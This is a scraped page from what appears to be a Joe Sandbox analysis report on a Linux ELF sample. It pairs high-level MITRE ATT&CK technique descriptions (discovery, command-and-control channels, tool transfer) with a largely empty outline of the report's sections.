Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report U6YcZ2TLtT.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.2Dqb9h (deleted)

/tmp/qemu-open.H7aZov (deleted)

/tmp/qemu-open.tpYdwt (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: U6YcZ2TLtT.elf PID: 5488, Parent PID: 5410

General

Chronological Activities

Analysis Process: U6YcZ2TLtT.elf PID: 5490, Parent PID: 5488

General

Chronological Activities

Linux Analysis Report
U6YcZ2TLtT.elf